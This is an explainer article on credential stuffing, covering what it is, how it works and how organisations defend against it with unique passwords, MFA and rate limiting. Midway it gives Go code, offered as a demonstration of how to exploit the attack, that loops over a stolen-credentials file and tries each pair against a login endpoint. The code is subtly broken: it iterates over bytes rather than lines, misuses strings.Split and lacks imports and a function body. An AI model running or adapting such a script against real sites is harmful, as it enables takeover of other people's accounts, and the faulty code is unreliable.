Credential Stuffing

Credential stuffing is a type of cyber attack in which stolen usernames and passwords are used to gain unauthorized access to accounts on websites or applications. It is a form of brute-force attack, in which a malicious actor attempts to gain access to an account by attempting to log in with a large number of different username and password combinations. Credential stuffing is an increasingly common form of attack, and is highly effective due to the prevalence of reused passwords and the availability of stolen credentials on the dark web.

What is Credential Stuffing?

Credential stuffing is a type of attack in which stolen usernames and passwords are used to gain unauthorized access to accounts on websites or applications. This type of attack is a form of brute-force attack, in which a malicious actor attempts to gain access to an account by attempting to log in with a large number of different username and password combinations.

Credential stuffing attacks are becoming increasingly common as the prevalence of reused passwords and the availability of stolen credentials on the dark web make them highly effective. In a credential stuffing attack, the malicious actor will typically use a list of stolen usernames and passwords to attempt to log in to a variety of different websites or applications. If the attacker is successful in logging in to any of the accounts, they can then use the account to access other accounts or services associated with the same username and password.

How Does Credential Stuffing Work?

Credential stuffing attacks typically involve the use of automated tools to attempt to log in to a variety of different websites or applications using a large list of stolen usernames and passwords. The attacker will typically use a list of usernames and passwords that have been stolen from another website or application, or purchased from the dark web.

Once the attacker has obtained a list of stolen credentials, they will then use automated tools to attempt to log in to a variety of different websites or applications using the stolen usernames and passwords. If the attacker is successful in logging in to any of the accounts, they can then use the account to access other accounts or services associated with the same username and password.

Example Code in Golang

The following example code in Golang demonstrates how to exploit credential stuffing.

// Import packages
import "net/http"
import "io/ioutil"

// Set up the client
client := &http.Client{}

// Get the list of stolen credentials
stolenCredentials, err := ioutil.ReadFile("stolen_credentials.txt")
if err != nil {
    panic(err)
}

// Iterate through the list of stolen credentials
for _, credential := range stolenCredentials {
    // Split the username and password
    username, password := strings.Split(credential, ":")

    // Create the request
    req, err := http.NewRequest("POST", "https://example.com/login", nil)
    if err != nil {
        panic(err)
    }

    // Add the username and password to the request
    req.SetBasicAuth(username, password)

    // Send the request
    resp, err := client.Do(req)
    if err != nil {
        panic(err)
    }

    // Check the response for success
    if resp.StatusCode == 200 {
        // Success! The attacker has gained access to the account
    }
}

How to Prevent Credential Stuffing

The best way to protect against credential stuffing attacks is to ensure that users are using strong and unique passwords for all of their accounts. Additionally, organizations should implement two-factor authentication (2FA) or multi-factor authentication (MFA) to further protect against credential stuffing attacks.

Organizations should also regularly monitor their systems for suspicious activity and implement security measures such as rate limiting and IP address blocking to prevent attackers from attempting to log in with large numbers of stolen credentials. Additionally, organizations should ensure that all user accounts are regularly audited and that any accounts that are no longer in use are disabled or deleted.

Conclusion

Credential stuffing is an increasingly common form of attack, and is highly effective due to the prevalence of reused passwords and the availability of stolen credentials on the dark web. Organizations should implement security measures such as two-factor authentication and rate limiting to protect against credential stuffing attacks, as well as regularly audit user accounts and ensure that all accounts that are no longer in use are disabled or deleted.